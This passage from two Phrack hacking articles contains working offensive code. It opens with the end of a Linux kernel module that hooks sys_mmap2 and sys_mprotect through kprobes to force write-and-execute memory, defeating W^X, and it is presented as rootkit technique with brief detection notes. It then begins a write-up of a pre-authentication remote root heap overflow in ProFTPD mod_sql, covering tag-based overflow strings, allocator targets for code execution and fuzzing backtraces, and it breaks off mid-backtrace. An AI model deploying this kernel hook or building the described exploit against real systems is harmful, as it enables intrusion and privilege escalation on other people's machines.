or memory maps will be both write+execute, just make sure that
|
|
you don't error checking then exit if mprotect or mmap fail
|
|
because they will return failed values.
|
|
*/
|
|
|
|
static int rp_mprotect(struct kretprobe_instance *ri, struct pt_regs *regs)
|
|
{
|
|
struct vm_area_struct *vma;
|
|
|
|
if (!mprotect.assign_wx)
|
|
goto out;
|
|
|
|
down_write(¤t->mm->mmap_sem);
|
|
|
|
/* Get vma for start memory area */
|
|
vma = find_vma(current->mm, mprotect.start);
|
|
if (!vma)
|
|
goto sem_out;
|
|
|
|
if (mprotect.prot & PROT_EXEC)
|
|
{
|
|
vma->vm_flags |= VM_MAYEXEC;
|
|
vma->vm_flags |= VM_EXEC;
|
|
}
|
|
|
|
if (mprotect.prot & PROT_WRITE)
|
|
{
|
|
vma->vm_flags |= VM_MAYWRITE;
|
|
vma->vm_flags |= VM_WRITE;
|
|
}
|
|
|
|
sem_out:
|
|
up_write(¤t->mm->mmap_sem);
|
|
|
|
|
|
out:
|
|
return 0;
|
|
}
|
|
|
|
struct
|
|
{
|
|
unsigned long addr;
|
|
#define MMAP_CLEAN 0
|
|
#define MMAP_DIRTY 1
|
|
int mmap_prot_state;
|
|
unsigned int len;
|
|
} do_mmap_data;
|
|
|
|
/* Return probe code for sys_mmap2 */
|
|
static int rp_mmap(struct kretprobe_instance *ri, struct pt_regs *regs)
|
|
{
|
|
struct vm_area_struct *vma = current->mm->mmap;
|
|
|
|
/* we are assuming the default function to get an unmapped region is arch_get_unmapped_topdown() */
|
|
if (do_mmap_data.addr - regs->eax == do_mmap_data.len)
|
|
do_mmap_data.addr = regs->eax;
|
|
else
|
|
goto out; // pretty unlikely
|
|
|
|
switch(do_mmap_data.mmap_prot_state)
|
|
{
|
|
case MMAP_CLEAN:
|
|
break;
|
|
case MMAP_DIRTY: // lets undo the work of the W^X patch :)
|
|
down_write(¤t->mm->mmap_sem);
|
|
vma = find_vma(current->mm, do_mmap_data.addr);
|
|
if (!vma)
|
|
break;
|
|
printk("Found vma's and setting all writes and exec possibilities\n");
|
|
vma->vm_flags |= (VM_EXEC | VM_MAYEXEC);
|
|
vma->vm_flags |= (VM_WRITE | VM_MAYWRITE);
|
|
up_write(¤t->mm->mmap_sem);
|
|
break;
|
|
}
|
|
out:
|
|
return 0;
|
|
}
|
|
|
|
asmlinkage long kp_sys_mmap2(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags,
|
|
unsigned long fd, unsigned long pgoff)
|
|
{
|
|
|
|
struct file *file = NULL;
|
|
|
|
printk("In sys_mmap2\n");
|
|
do_mmap_data.len = len;
|
|
|
|
/* We emulate a combination of sys_mmap2 and do_mmap_pgoff */
|
|
|
|
/* This is the easiest scenario */
|
|
/* because we know the mmap addr */
|
|
if (flags & MAP_FIXED)
|
|
{
|
|
printk("MAP_FIXED\n");
|
|
do_mmap_data.addr = addr;
|
|
if ((prot & PROT_EXEC) && (prot & PROT_WRITE))
|
|
do_mmap_data.mmap_prot_state = MMAP_DIRTY;
|
|
else
|
|
do_mmap_data.mmap_prot_state = MMAP_CLEAN;
|
|
goto out;
|
|
}
|
|
|
|
flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
|
|
if (!(flags & MAP_ANONYMOUS))
|
|
{
|
|
file = fget(fd);
|
|
if (!file)
|
|
goto out;
|
|
}
|
|
|
|
/* mimick do_mmap_pgoff to get the linear range */
|
|
down_write(¤t->mm->mmap_sem);
|
|
|
|
if (file)
|
|
{
|
|
if (!file->f_op || !file->f_op->mmap)
|
|
goto sem_out;
|
|
}
|
|
|
|
if (!len)
|
|
goto sem_out;
|
|
|
|
len = PAGE_ALIGN(len);
|
|
if (!len || len > TASK_SIZE)
|
|
goto sem_out;
|
|
|
|
if ((pgoff + (len >> PAGE_SHIFT)) < pgoff)
|
|
goto sem_out;
|
|
|
|
/* when the real sys_mmap2/do_mmap_pgoff are called
|
|
* they will get the next linear range
|
|
* which will be at do_mmap_data.addr - do_mmap_data.len
|
|
* This relies on get_unmapped_area() calling arch_get_unmapped_area_topdown()
|
|
*/
|
|
printk("get_unmapped_area call\n");
|
|
addr = _get_unmapped_area(file, addr, len, 0, flags);
|
|
printk("addr: 0x%lx\n", addr);
|
|
do_mmap_data.addr = addr;
|
|
|
|
if ((prot & PROT_EXEC) && (prot & PROT_WRITE))
|
|
do_mmap_data.mmap_prot_state = MMAP_DIRTY;
|
|
else
|
|
do_mmap_data.mmap_prot_state = MMAP_CLEAN;
|
|
|
|
sem_out:
|
|
up_write(¤t->mm->mmap_sem);
|
|
out:
|
|
jprobe_return();
|
|
return 0;
|
|
|
|
}
|
|
|
|
static struct jprobe sys_mmap2_jprobe =
|
|
{
|
|
.entry = (kprobe_opcode_t *)kp_sys_mmap2
|
|
};
|
|
|
|
static struct jprobe sys_mprotect_jprobe =
|
|
{
|
|
.entry = (kprobe_opcode_t *)kp_sys_mprotect
|
|
};
|
|
|
|
static struct kretprobe mprotect_kretprobe =
|
|
{
|
|
.handler = rp_mprotect,
|
|
.maxactive = 1 // this code isn't really SMP reliable
|
|
};
|
|
|
|
static struct kretprobe mmap_kretprobe =
|
|
{
|
|
.handler = rp_mmap,
|
|
.maxactive = 1 // this code isn't really SMP reliable
|
|
};
|
|
|
|
|
|
void exit_module(void)
|
|
{
|
|
unregister_jprobe(&sys_mmap2_jprobe);
|
|
unregister_jprobe(&sys_mprotect_jprobe);
|
|
|
|
unregister_kretprobe(&mprotect_kretprobe);
|
|
unregister_kretprobe(&mmap_kretprobe);
|
|
}
|
|
|
|
int init_module(void)
|
|
{
|
|
int j = 0, k = 0;
|
|
|
|
_get_unmapped_area = (void *)_kallsyms_lookup_name("arch_get_unmapped_area_topdown");
|
|
|
|
sys_mmap2_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2");
|
|
/* Register our jprobes */
|
|
if (register_jprobe(&sys_mmap2_jprobe) < 0)
|
|
goto jfail;
|
|
j++;
|
|
|
|
sys_mprotect_jprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect");
|
|
if (register_jprobe(&sys_mprotect_jprobe) < 0)
|
|
goto jfail;
|
|
|
|
mprotect_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mprotect");
|
|
/* Register our kretprobes */
|
|
if (register_kretprobe(&mprotect_kretprobe) < 0)
|
|
goto kfail;
|
|
k++;
|
|
|
|
mmap_kretprobe.kp.addr = (void *)_kallsyms_lookup_name("sys_mmap2");
|
|
if (register_kretprobe(&mmap_kretprobe) < 0)
|
|
goto kfail;
|
|
|
|
return 0;
|
|
|
|
jfail:
|
|
|
|
printk(KERN_EMERG "register_jprobe failed for %s\n", (!j ? "sys_mmap2" : "sys_mprotect"));
|
|
kfail:
|
|
printk(KERN_EMERG "register_kretprobe failed for %s\n", (!k ? "mprotect" : "mmap"));
|
|
|
|
return -1;
|
|
}
|
|
|
|
|
|
module_exit(exit_module);
|
|
|
|
--- end of code ---
|
|
|
|
|
|
---[ 4 - Notes on rootkit detection for kprobes
|
|
|
|
If a kernel rootkit is designed soley using kprobes and properly hides
|
|
itself from the kprobe entries in sysfs, then a rootkit detection program
|
|
can still easily detect what kernel functions have been hooked. I will
|
|
leave this obvious solution to anyone interested in adding this feature
|
|
to their detectors but the answer lies in this paper as well as the kprobe
|
|
documentation.
|
|
|
|
|
|
---[ 5 - Summing it all up
|
|
|
|
We have seen that the kprobe interface, which is primarily implemented
|
|
for kernel debugging can be used to instrument the kernel in some
|
|
interesting ways. We have explored kprobes strengths, weaknesses, and provided
|
|
several examples of weakening the kernel by patching it using jprobe and
|
|
kretprobe techniques. We also went over some ideas for implementing a more
|
|
hacker friendly kretprobe implementation (Although we did not provide one).
|
|
|
|
It is also important to mention to people who are engineering security code
|
|
that kprobes can also be used to debug kernel code, as well as install simple
|
|
patches for hardening the kernel. But phrack isn't about that, so patches
|
|
to harden the kernel were not included -- just know that it is possible.
|
|
|
|
|
|
---[ 6 - Greetz
|
|
|
|
kad - thanks for encouraging me to write this, and being cool guy with
|
|
priceless skills and good advice.
|
|
|
|
Silvio - My initial inspiration for kernel and ELF hacking all started with you.
|
|
You've been a good friend and mentor, many many thanks.
|
|
|
|
chrak - My long time friend and occasional coding partner. 13yrs ago this guy
|
|
helped me write my first backdoor program for Linux.
|
|
|
|
nynex - I owe you for hosting my stuff and being a good friend.
|
|
|
|
mayhem - For writing some really cool ELF code and being an inspiration.
|
|
|
|
grugq - Your original AF work has been an inspiration as well.
|
|
|
|
halfdead - For knowing everything about the universe and our realm *literally*
|
|
|
|
jimjones (UNIX Terrorist) - you will be getting a copy of this soon, word.
|
|
|
|
All of the digitalnerds -- especially halfdead, scrippie, pronsa and abh.
|
|
|
|
#bitlackeys on EFnet, a small and strange little channel with people whom
|
|
I've been friends with for years.
|
|
|
|
#formal on a secret network with extremely smart people and good conversation.
|
|
|
|
RuxCon folk are pretty much all awesome too, thanks.
|
|
|
|
|
|
---[ 7 - References
|
|
|
|
Please note that I did not use any references other than code and official
|
|
documentation for this paper, but the following papers are quite relevant and
|
|
since I have read them (along with many other great papers) they all play a
|
|
role in my collective knowledge of kernel malware and rootkit exploration.
|
|
|
|
[1] kad - Handling interrupt descriptor table for fun and profit
|
|
http://www.phrack.org/issues.html?issue=59&id=4#article
|
|
|
|
[2] Halfdead - Mystifying the debugger for ultimate stealthness
|
|
http://www.phrack.org/issues.html?issue=65&id=8#article
|
|
|
|
[3] Silvio - Kernel function hijacking (Function trampolines)
|
|
http://vxheavens.com/lib/vsc08.html
|
|
|
|
|
|
---[ 8 - Code
|
|
|
|
----EOF----
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x07 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------=[ ProFTPD with mod_sql pre-authentication, remote root ]=------=|
|
|
|=-------------------------=[ heap overflow ]=---------------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------=[ max_packetz@felinemenace.org ]=------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
--[ Contents
|
|
|
|
1 - Introduction
|
|
|
|
2 - The vulnerability
|
|
2.1 - Tags explained
|
|
2.2 - Generating overflow strings
|
|
|
|
3 - Exploring what we can control
|
|
3.1 - Automating tasks
|
|
3.2 - ProFTPD Pool allocator
|
|
3.3 - Examining backtraces
|
|
3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace
|
|
3.3.2 - 2813d637d735be610a460a75db061f6b backtrace
|
|
3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace
|
|
3.3.4 - 844319188798d7742af43d10f6541a61 backtrace
|
|
3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace
|
|
3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace
|
|
3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace
|
|
3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace
|
|
3.3.9 - Summary
|
|
3.4 - Exploitation avenues
|
|
3.4.1 - Shellcode approach
|
|
3.4.2 - Data manipulation
|
|
|
|
4 - Writing an exploit
|
|
4.1 - Exploitation via arbitrary pointer return
|
|
4.2 - Cleanup structure crash
|
|
4.3 - Potential enhancements
|
|
4.4 - Last thoughts
|
|
|
|
5 - Discussion of hardening techniques against exploitation
|
|
5.1 - Address Space Layout Randomisation
|
|
5.2 - Non-executable Memory
|
|
5.3 - Position Independent Binaries
|
|
5.4 - Stack Protector
|
|
5.5 - RelRO
|
|
|
|
6 - References
|
|
|
|
--[ 1 - Introduction
|
|
|
|
This paper describes and explores a pre-authentication remote root heap
|
|
overflow in the ProFTPD [1] FTP server. It's not quite a standard overflow,
|
|
due to the how the ProFTPD heap works, and how the bug is exploited via
|
|
variable substition.
|
|
|
|
The vulnerability was inadvertently mitigated (from remote root, at least
|
|
:( ) when the ProFTPD developers fixed a separate vulnerability in mod_sql
|
|
where you could inject SQL and bypass authentication. That vulnerability
|
|
that mitigated it is documented in CVE-2009-0542.
|
|
|
|
The specific vulnerability we are exploring is an unbounded copy operation
|
|
in sql_prepare_where(), which has not been fixed yet.
|
|
|
|
Also, I'd like to preemptively apologise for the attached code. It evolved
|
|
over time in piecemeal fashion, and isn't overly pretty/readable by now :p
|
|
|
|
--[ 2 - The vulnerability
|
|
|
|
The vulnerability itself is a little contrived, but bare with me:
|
|
|
|
In contrib/mod_sql.c, _sql_getpasswd(), we have the following code (line
|
|
numbers from ProFTPD 1.3.2rc2):
|
|
|
|
---
|
|
1132 if (!cmap.usercustom) {
|
|
1133 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere,
|
|
NULL);
|
|
1134
|
|
1135 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default",
|
|
1136 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select");
|
|
1137
|
|
---
|
|
|
|
Where usrwhere is in the form of:
|
|
|
|
(<table name for user column> = 'USERNAME')
|
|
|
|
Inside of sql_prepare_where() is where all the fun takes place:
|
|
|
|
---
|
|
770 static char *sql_prepare_where(int flags, cmd_rec *cmd, int cnt, ...) {
|
|
771 int i, flag, nclauses = 0;
|
|
772 int curr_avail;
|
|
773 char *buf = "", *res;
|
|
774 va_list dummy;
|
|
775
|
|
776 res = pcalloc(cmd->tmp_pool, SQL_MAX_STMT_LEN); [1]
|
|
777
|
|
778 flag = 0;
|
|
779 va_start(dummy, cnt);
|
|
780 for (i = 0; i < cnt; i++) {
|
|
781 char *clause = va_arg(dummy, char *);
|
|
782 if (clause != NULL &&
|
|
783 *clause != '\0') {
|
|
784 nclauses++;
|
|
785
|
|
786 if (flag++)
|
|
787 buf = pstrcat(cmd->tmp_pool, buf, " AND ", NULL);
|
|
788 buf = pstrcat(cmd->tmp_pool, buf, "(", clause, ")", NULL);
|
|
789 }
|
|
790 }
|
|
791 va_end(dummy);
|
|
792
|
|
793 if (nclauses == 0)
|
|
794 return NULL;
|
|
795
|
|
796 if (!(flags & SQL_PREPARE_WHERE_FL_NO_TAGS)) { [2]
|
|
797 char *curr, *tmp;
|
|
798
|
|
799 /* Process variables in WHERE clauses, except any "%{num}"
|
|
references. */
|
|
800 curr = res;
|
|
801 curr_avail = SQL_MAX_STMT_LEN;
|
|
802
|
|
803 for (tmp = buf; *tmp; ) {
|
|
804 char *str;
|
|
805 modret_t *mr;
|
|
806
|
|
807 if (*tmp == '%') {
|
|
808 char *tag = NULL;
|
|
809
|
|
810 if (*(++tmp) == '{') {
|
|
811 char *query;
|
|
812
|
|
813 if (*tmp != '\0')
|
|
814 query = ++tmp;
|
|
815
|
|
816 while (*tmp && *tmp != '}')
|
|
817 tmp++;
|
|
818
|
|
819 tag = pstrndup(cmd->tmp_pool, query, (tmp - query));
|
|
820 if (tag) {
|
|
821 str = resolve_long_tag(cmd, tag); [3]
|
|
822 if (!str)
|
|
823 str = pstrdup(cmd->tmp_pool, "");
|
|
824
|
|
825 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2,
|
|
"default",
|
|
826 str), "sql_escapestring");
|
|
827 if (check_response(mr) < 0)
|
|
828 return NULL;
|
|
829
|
|
830 sstrcat(curr, mr->data, curr_avail);
|
|
831 curr += strlen(mr->data);
|
|
832 curr_avail -= strlen(mr->data);
|
|
833
|
|
834 if (*tmp != '\0')
|
|
835 tmp++;
|
|
836
|
|
837 } else {
|
|
838 return NULL;
|
|
839 }
|
|
840
|
|
841 } else {
|
|
842 str = resolve_short_tag(cmd, *tmp); [4]
|
|
843 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2,"default",
|
|
844 str), "sql_escapestring");
|
|
845 if (check_response(mr) < 0)
|
|
846 return NULL;
|
|
847
|
|
848 sstrcat(curr, mr->data, curr_avail);
|
|
849 curr += strlen(mr->data);
|
|
850 curr_avail -= strlen(mr->data);
|
|
851
|
|
852 if (*tmp != '\0')
|
|
853 tmp++;
|
|
854 }
|
|
855
|
|
856 } else { [5]
|
|
857 *curr++ = *tmp++;
|
|
858 curr_avail--;
|
|
859 }
|
|
860 }
|
|
861 *curr++ = '\0';
|
|
862
|
|
863 } else {
|
|
864 res = buf;
|
|
865 }
|
|
866
|
|
867 return res;
|
|
868 }
|
|
869
|
|
---
|
|
|
|
At [1], memory is allocated. SQL_MAX_STMT_LEN is defined as 4096 bytes.
|
|
That should be plenty for <300 bytes, right?
|
|
|
|
At [2], flags are checked to see if "tags" should be expanded. In the case
|
|
we are interested in, tags are expanded.
|
|
|
|
At [3], we see that "long tags" are expandable, and that they are
|
|
surrounded by %{ and finished with }. We'll ignore them for now. They take
|
|
up too much input space in regards to the output length.
|
|
|
|
At [4], we see that they have concepts of "short" tags, consisting of one
|
|
byte.
|
|
|
|
At [5], we see that they have an unbounded one byte copy operation, inside
|
|
of a suitable loop.
|
|
|
|
Now, we need to cover tags to see what we can do with it:
|
|
|
|
------[ 2.1 Tags explained
|
|
|
|
For the path we're interested in, we'll cover "short" tags (longer tags are
|
|
not all interesting, and for reasons explained later on).
|
|
|
|
Looking at resolve_short_tag(), we see the following (heavily snipped for
|
|
brevity):
|
|
|
|
---
|
|
1719 static char *resolve_short_tag(cmd_rec *cmd, char tag) {
|
|
1720 char arg[256] = {'\0'}, *argp;
|
|
1721
|
|
1722 switch (tag) {
|
|
1723 case 'A': {
|
|
1724 char *pass;
|
|
1725
|
|
1726 argp = arg;
|
|
1727 pass = get_param_ptr(main_server->conf, C_PASS, FALSE);
|
|
1728 if (!pass)
|
|
1729 pass = "UNKNOWN";
|
|
1730
|
|
1731 sstrncpy(argp, pass, sizeof(arg));
|
|
1732 }
|
|
1733 break;
|
|
1734
|
|
1735 case 'a':
|
|
1736 argp = arg;
|
|
1737 sstrncpy(argp,
|
|
pr_netaddr_get_ipstr(pr_netaddr_get_sess_remote_addr()),
|
|
1738 sizeof(arg));
|
|
1739 break;
|
|
1740
|
|
...
|
|
1914 case 'm':
|
|
1915 argp = arg;
|
|
1916 sstrncpy(argp, cmd->argv[0], sizeof(arg));
|
|
1917 break;
|
|
1918
|
|
...
|
|
1929 case 'r':
|
|
1930 argp = arg;
|
|
1931 if (strcmp(cmd->argv[0], C_PASS) == 0 &&
|
|
1932 session.hide_password)
|
|
1933 sstrncpy(argp, C_PASS " (hidden)", sizeof(arg));
|
|
1934
|
|
1935 else
|
|
1936 sstrncpy(argp, get_full_cmd(cmd), sizeof(arg));
|
|
1937 break;
|
|
1938
|
|
...
|
|
1954 case 'T':
|
|
1955 argp = arg;
|
|
1956 if (session.xfer.p) {
|
|
...
|
|
1974 } else
|
|
1975 sstrncpy(argp, "0.0", sizeof(arg));
|
|
1976
|
|
1977 break;
|
|
...
|
|
2021
|
|
2022 default:
|
|
2023 argp = "{UNKNOWN TAG}";
|
|
2024 break;
|
|
2025 }
|
|
2026
|
|
2027 return pstrdup(cmd->tmp_pool, argp);
|
|
2028 }
|
|
2029
|
|
---
|
|
|
|
So, as you can see, tags are a form of variable substitution. %m and %r
|
|
allow us to "duplicate" our input, %a allows us to copy our IP address, %T
|
|
gives us 0.0 (since we're not transferring anything at the moment, and %Z
|
|
(handled by the default case) gives us "{UNKNOWN TAG}".
|
|
|
|
By combining these, we can generate strings that expand past the allocated
|
|
size in sql_prepare_where, due to the unbounded copy.
|
|
|
|
Firstly, we'll look at what those inputs would generate, then we'll look at
|
|
how to generate suitable overflow strings.
|
|
|
|
Firstly, the string "AAA%m" once processed would come out looking like:
|
|
|
|
AAAAAA%m
|
|
|
|
The string "AAA%m%m" would look like:
|
|
|
|
AAAAAA%mAAA%m
|
|
|
|
Unfortunately the string to be expanded isn't as clean as that, it's:
|
|
|
|
(<name of user entry in table> = 'USER INPUT')\x00
|
|
|
|
The default of the table field is "userid". Due to the ')\x00 at the end,
|
|
we can't do arbitrary off-by-1 or 2 overwrites. It's possible that \x00 or
|
|
\x29 could be useful, in some situations however.
|
|
|
|
Enough chars / %m's etc would expand past 4096 bytes, and start overwriting
|
|
other information stored on the heap. Tags enable exploitation of this
|
|
issue via it's input duplication. They also have a significant effect on
|
|
the heap, for better or worse.
|
|
|
|
(As a side note, contrib/mod_rewrite.c has %m tag support as well. Since it
|
|
seems a little unlikely to hit that pre-auth, it wasn't investigated
|
|
further..)
|
|
|
|
------[ 2.2 Generating overflow strings
|
|
|
|
One initial complication we had in exploring this vulnerability further was
|
|
due to making an overflow string that once processed would expand to a
|
|
suitable size. (As an example, overflow our own arbitrary content 32 bytes
|
|
past 4096).
|
|
|
|
We solved this problem with using a constraint solver to generate the
|
|
appropriate strings for us, thus solving an otherwise annoying situation
|
|
(it being a little messy to calculate how much we need, since touching one
|
|
thing can dramatically throw off the rest of the calculations, as an
|
|
example, removing one A character would reduce it by one +
|
|
(one * amount_of_%m_tags)).
|
|
|
|
In exploring the vulnerability, we used python-constraint [2].
|
|
|
|
We used several constraints:
|
|
|
|
- Input string must be less than 256 bytes.
|
|
- The parsed string must overflow by exactly X+2 (due to ') added to
|
|
the end bytes.
|
|
- One/two others that I've forgotten about as I write this up.
|
|
|
|
We split the strings into "fakeauth" strings, and "trigger" strings. The
|
|
fakeauth strings are designed to consume/allocate a certain amount of
|
|
memory, and the trigger strings are designed to overwrite a bunch of bytes
|
|
after the allocation.
|
|
|
|
Fakeauth strings seem to be required for maximum control of the remote
|
|
process, but it's possible it's not required at all.
|
|
|
|
By mixing the %m's / %a's / %Z's up, it is possible to change memory
|
|
allocation / deallocation order, and thus explore/affect where it crashes.
|
|
|
|
While the %a tags are useful in experimenting, they are not ideal, as you
|
|
then need to take your local IP address into account when exploiting remote
|
|
hosts.
|
|
|
|
--[ 3 - Exploring what we can control
|
|
|
|
------[ 3.1 - Automating tasks
|
|
|
|
I'm a big fan of automating as much stuff as possible. In order to get a
|
|
ten thousand foot view of what I can do, I used python-ptrace [3] and
|
|
pyevolve [4] to:
|
|
|
|
- Generate input strings
|
|
- Debug proftpd and record before/after overwriting the memory allocated
|
|
in sql_prepare_where
|
|
- Analyze how "interesting" the results of input strings where.
|
|
- Process exited? Completely uninteresting.
|
|
- SEGV'd?
|
|
- Gather backtraces / register contents / see if the program crashed
|
|
with our directly controllable user input / etc.
|
|
|
|
Pyevolve, for the most part, was useful for mutating the input strings to
|
|
explore the code paths leading to crashes..
|
|
|
|
By doing these tasks, I was able to find the more interesting paths that
|
|
could easily be hit, while I was flicking over the ProFTPD pool allocator
|
|
...
|
|
|
|
------[ 3.2 - ProFTPD Pool allocator
|
|
|
|
A high level overview for the ProFTPD pool allocator (src/pool.c) is given
|
|
at [5], but here are the quick nuts and bolts of it:
|
|
|
|
- Pools are allocated, and is subdivided into blocks.
|
|
|
|
- Pools have cleanup handlers (very useful - used in proftpd-not-pro-enough
|
|
[6] exploit by solar to gain code execution).
|
|
|
|
- More blocks are malloc()'d if the pool is out of space.
|
|
|
|
- Memory is never free()'d unless developer mode is enabled, and that's
|
|
only at daemon shut down.
|
|
|
|
- In order to allocate memory, the single linked list of free blocks is
|
|
checked to see if the allocation request can be satisfied first without
|
|
calling malloc().
|
|
|
|
The pool structure is defined as:
|
|
|
|
---
|
|
196 struct pool {
|
|
197 union block_hdr *first;
|
|
198 union block_hdr *last;
|
|
199 struct cleanup *cleanups;
|
|
200 struct pool *sub_pools;
|
|
201 struct pool *sub_next;
|
|
202 struct pool *sub_prev;
|
|
203 struct pool *parent;
|
|
204 char *free_first_avail;
|
|
205 const char *tag;
|
|
206 };
|
|
---
|
|
|
|
The cleanup structure looks like:
|
|
|
|
---
|
|
655 typedef struct cleanup {
|
|
656 void *data;
|
|
657 void (*plain_cleanup_cb)(void *);
|
|
658 void (*child_cleanup_cb)(void *);
|
|
659 struct cleanup *next;
|
|
660 } cleanup_t;
|
|
---
|
|
|
|
Overwriting a cleanup structure, or a pool structure, would allow us to
|
|
arbitrarily execute code when the pool is cleared/destroyed.
|
|
|
|
The block structure is defined as:
|
|
|
|
---
|
|
46 union block_hdr {
|
|
47 union align a;
|
|
48
|
|
49 /* Padding */
|
|
50 #if defined(_LP64) || defined(__LP64__)
|
|
51 char pad[32];
|
|
52 #endif
|
|
53
|
|
54 /* Actual header */
|
|
55 struct {
|
|
56 char *endp;
|
|
57 union block_hdr *next;
|
|
58 char *first_avail;
|
|
59 } h;
|
|
60 };
|
|
---
|
|
|
|
Now, we trace pcalloc() as it's called in sql_prepare_where() (and
|
|
numerously throughout the ProFTPD code), just to see what situations will
|
|
allow us to return pointers that we control. Controlling these returned
|
|
pointers would allow us to overwrite arbitrary memory, hopefully with
|
|
content that we can control.
|
|
|
|
---
|
|
481 void *pcalloc(struct pool *p, int sz) {
|
|
482 void *res = palloc(p, sz);
|
|
483 memset(res, '\0', sz);
|
|
484 return res;
|
|
485 }
|
|
---
|
|
|
|
gives us:
|
|
|
|
---
|
|
473 void *palloc(struct pool *p, int sz) {
|
|
474 return alloc_pool(p, sz, FALSE);
|
|
475 }
|
|
---
|
|
|
|
which in turn gives us:
|
|
|
|
---
|
|
435 static void *alloc_pool(struct pool *p, int reqsz, int exact) {
|
|
436
|
|
437 /* Round up requested size to an even number of aligned units */
|
|
438 int nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
|
|
439 int sz = nclicks * CLICK_SZ;
|
|
440
|
|
441 /* For performance, see if space is available in the most recently
|
|
442 * allocated block.
|
|
443 */
|
|
444
|
|
445 union block_hdr *blok = p->last;
|
|
446 char *first_avail = blok->h.first_avail;
|
|
447 char *new_first_avail;
|
|
448
|
|
449 if (reqsz <= 0)
|
|
450 return NULL;
|
|
451
|
|
452 new_first_avail = first_avail + sz;
|
|
453
|
|
454 if (new_first_avail <= blok->h.endp) { [1]
|
|
455 blok->h.first_avail = new_first_avail;
|
|
456 return (void *) first_avail;
|
|
457 }
|
|
458
|
|
459 /* Need a new one that's big enough */
|
|
460 pr_alarms_block();
|
|
461
|
|
462 blok = new_block(sz, exact); [2]
|
|
463 p->last->h.next = blok;
|
|
464 p->last = blok;
|
|
465
|
|
466 first_avail = blok->h.first_avail; [3]
|
|
467 blok->h.first_avail += sz;
|
|
468
|
|
469 pr_alarms_unblock();
|
|
470 return (void *) first_avail;
|
|
471 }
|
|
---
|
|
|
|
The check at [1] checks to see if the request can be satisfied from the
|
|
pool allocation itself..
|
|
|
|
The call at [2] requests a "new_block" of memory. The returned pointer is
|
|
determined at [3], indicating that the first_avail pointer at least needs
|
|
to be modified.
|
|
|
|
---
|
|
151 /* Get a new block, from the free list if possible, otherwise malloc a
|
|
new
|
|
152 * one. minsz is the requested size of the block to be allocated.
|
|
153 * If exact is TRUE, then minsz is the exact size of the allocated
|
|
block;
|
|
154 * otherwise, the allocated size will be rounded up from minsz to the
|
|
nearest
|
|
155 * multiple of BLOCK_MINFREE.
|
|
156 *
|
|
157 * Important: BLOCK ALARMS BEFORE CALLING
|
|
158 */
|
|
159
|
|
160 static union block_hdr *new_block(int minsz, int exact) {
|
|
161 union block_hdr **lastptr = &block_freelist;
|
|
162 union block_hdr *blok = block_freelist;
|
|
163
|
|
164 if (!exact) {
|
|
165 minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
|
|
166 minsz *= BLOCK_MINFREE;
|
|
167 }
|
|
168
|
|
169 /* Check if we have anything of the requested size on our free list
|
|
first...
|
|
170 */
|
|
171 while (blok) {
|
|
172 if (minsz <= blok->h.endp - blok->h.first_avail) {
|
|
173 *lastptr = blok->h.next;
|
|
174 blok->h.next = NULL;
|
|
175
|
|
176 stat_freehit++;
|
|
177 return blok;
|
|
178
|
|
179 } else {
|
|
180 lastptr = &blok->h.next;
|
|
181 blok = blok->h.next;
|
|
182 }
|
|
183 }
|
|
184
|
|
185 /* Nope...damn. Have to malloc() a new one. */
|
|
186 stat_malloc++;
|
|
187 return malloc_block(minsz);
|
|
188 }
|
|
---
|
|
|
|
BLOCK_MINFREE is defined to PR_TUNABLE_NEW_POOL_SIZE, which is defined to
|
|
512 bytes.
|
|
|
|
So, we can see that if we can get the stars to align correctly, we can gain
|
|
code execution via:
|
|
|
|
- Pool cleanup/destruction
|
|
- Corrupting the first_avail pointer in a block.
|
|
|
|
The second method is a little more effort, but it may not be possible to
|
|
hit the first.
|
|
|
|
There are other avenues potentially available such as unlink() style
|
|
corruption, or other heap content overwrites, but they were not explored in
|
|
depth.
|
|
|
|
------[ 3.3 - Examining backtraces
|
|
|
|
After leaving the proftpd input fuzzing / automated crash analysis code [7]
|
|
running for a while, I decided to stop it and examine some of the
|
|
backtraces it created, in order to see what was found, and if any indicated
|
|
that they where able to gain direct code execution, or useful memory
|
|
corruption.
|
|
|
|
# echo backtraces: `ls -l backtrace.* | wc -l` ; echo unique backtraces:
|
|
`md5su m backtrace.* | awk '{ print $1 }' | sort | uniq`
|
|
backtraces: 4280
|
|
unique backtraces: 11380f2c8ce44d29b93b9bc6308692ae
|
|
2813d637d735be610a460a75db061f6b 3d10e2a054d8124ab4de5b588c592830
|
|
844319188798d7742af43d10f6541a61 914b175392625fe75c2b16dc18bfb250
|
|
b975726b4537662f3f5ddf377ea26c20 ccbbd918ad0dbc7a869184dc2eb9cc50
|
|
f1bfd5428c97b9d68a4beb6fb8286b70
|
|
|
|
Some of these back traces are very similiar, only real change in where they
|
|
are called from. However, seeing that the code can be reached from multiple
|
|
places is good; as it gives us more chances to take control of the remote
|
|
process.
|
|
|
|
Flicking through the backtraces:
|
|
|
|
--------[ 3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace ]
|
|
|
|
# cat bt_frames.99861.0
|
|
EIP: 0xb7b7e67a, EBP: 0xbfd0a0a8, memset
|
|
EIP: 0x08055034, EBP: 0xbfd0a0d8, pstrcat
|
|
EIP: 0x080c0d85, EBP: 0xbfd0a118, cmd_select
|
|
